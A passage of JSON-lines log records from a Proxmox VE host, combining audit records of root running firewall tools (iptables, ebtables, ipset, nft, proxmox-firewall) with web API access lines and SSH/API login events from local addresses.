key=\"exec\""} {"@timestamp":1781965550711,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 903"} {"@timestamp":1781964615458,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.458:61802): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965795828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.828:67130): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd1187c7a0 a1=5cfad6383310 a2=5cfad637c680 a3=5 items=1 ppid=64471 pid=64472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226056,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.056:68996): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966005062,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.062:68018): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65319 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964447639,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 478"} {"@timestamp":1781964215770,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.770:60087): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe8c7ba110 a1=5a28a5b141c0 a2=5a28a5af2680 a3=5 items=2 ppid=57696 pid=57697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226001,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966226.001:68986): arch=c000003e syscall=59 success=yes exit=0 a0=5739fc615d70 a1=5739fc621b30 a2=5739fc5ef680 a3=5 items=2 ppid=66242 pid=66248 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965548703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964615453,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.453:61800): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965794339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965794.339:67122): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226050,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.050:68994): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966005062,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.062:68017): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65319 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964444620,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781964215766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.766:60085): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57696 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225998,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.998:68985): arch=c000003e syscall=59 success=yes exit=0 a0=5739d22e8ac8 a1=7ffeea7e0780 a2=5739fc5ef680 a3=5739d22cc24e items=2 ppid=66242 pid=66244 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965548703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964615449,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.449:61799): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965794339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965794.339:67121): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226045,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.045:68993): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966000054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966000.054:68013): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964444620,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 837"} {"@timestamp":1781964215760,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.760:60084): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57695 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225997,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.997:68984): arch=c000003e syscall=59 success=yes exit=0 a0=7ffeea7e0740 a1=5739fc611410 a2=5739fc5ef680 a3=5 items=2 ppid=66242 pid=66243 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965548703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964615443,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.443:61798): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965794324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965794.324:67119): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226039,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.039:68992): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966000054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966000.054:68012): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964443613,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964215753,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.753:60083): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57694 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.993:68982): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc134bc0 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66242 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965547703,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964615439,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.439:61797): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965794324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965794.324:67118): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226034,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.034:68991): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966000047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966000.047:68010): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964440591,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964215746,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.746:60082): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57693 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225985,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.985:68981): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965547703,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964615433,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.433:61796): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965789306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965789.306:67114): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64459 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226027,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.027:68990): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966000046,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966000.046:68009): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964439592,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964215739,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.739:60081): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.977:68980): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66240 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965547703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781964615429,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.429:61795): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965789306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965789.306:67113): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64459 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226019,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.019:68989): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965995233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.233:68005): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc28850a00 a1=64806cef2410 a2=64806ced0680 a3=5 items=1 ppid=65306 pid=65307 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964438579,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 849"} {"@timestamp":1781964215735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.735:60080): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5b5ede488740 items=0 ppid=1156 pid=57691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966225970,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.970:68979): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8e30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66239 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965546681,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781964615422,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.422:61794): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965789298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965789.298:67111): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226012,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.012:68988): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965995128,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.128:67987): arch=c000003e syscall=59 success=no exit=-2 a0=7fff54d2b020 a1=57de781dc3d0 a2=57de781ba680 a3=5 items=1 ppid=65287 pid=65288 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436674,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964215733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.733:60079): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1406c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.963:68978): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1470c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66238 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965544786,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964615416,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.416:61793): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965789298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965789.298:67110): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226004,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.004:68987): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964796082,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964796.082:62643): pid=60035 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=pam_permit acct=\"root\" exe=\"/usr/lib/openssh/sshd-session\" hostname=192.168.1.157 addr=192.168.1.157 terminal=ssh res=success'"} {"@timestamp":1781964435677,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964215728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.728:60078): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e2c10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225956,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.956:68977): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e3840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66237 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965544786,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964615412,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.412:61792): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965785764,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.764:67105): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdb2945cd0 a1=6029f7ada3d0 a2=6029f7ab8680 a3=5 items=1 ppid=64450 pid=64451 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226001,"@rawstring":"node=pve type=EXECVE msg=audit(1781966226.001:68986): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964680082,"@rawstring":"node=pve type=USER_AUTH msg=audit(1781964680.082:62125): pid=1215 uid=0 auid=4294967295 ses=4294967295 subj=unconfined msg='op=PAM:authentication grantors=pam_permit acct=\"root\" exe=\"/usr/bin/perl\" hostname=::ffff:192.168.1.157 addr=::ffff:192.168.1.157 terminal=? res=success'"} {"@timestamp":1781964432638,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964215722,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.722:60077): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc148c40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.866:68976): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66236 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965544786,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 910"} {"@timestamp":1781964615408,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.408:61791): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965785623,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.623:67087): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcde759680 a1=5d8e96ef0310 a2=5d8e96ee9680 a3=5 items=1 ppid=64431 pid=64432 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225998,"@rawstring":"node=pve type=EXECVE msg=audit(1781966225.998:68985): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965091757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965091.757:64129): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964432638,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:07:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964215716,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964215.716:60076): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148c40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57688 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966225.858:68973): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66235 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965544786,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964615407,"@rawstring":"node=pve type=EXECVE msg=audit(1781964615.407:61790): argc=1 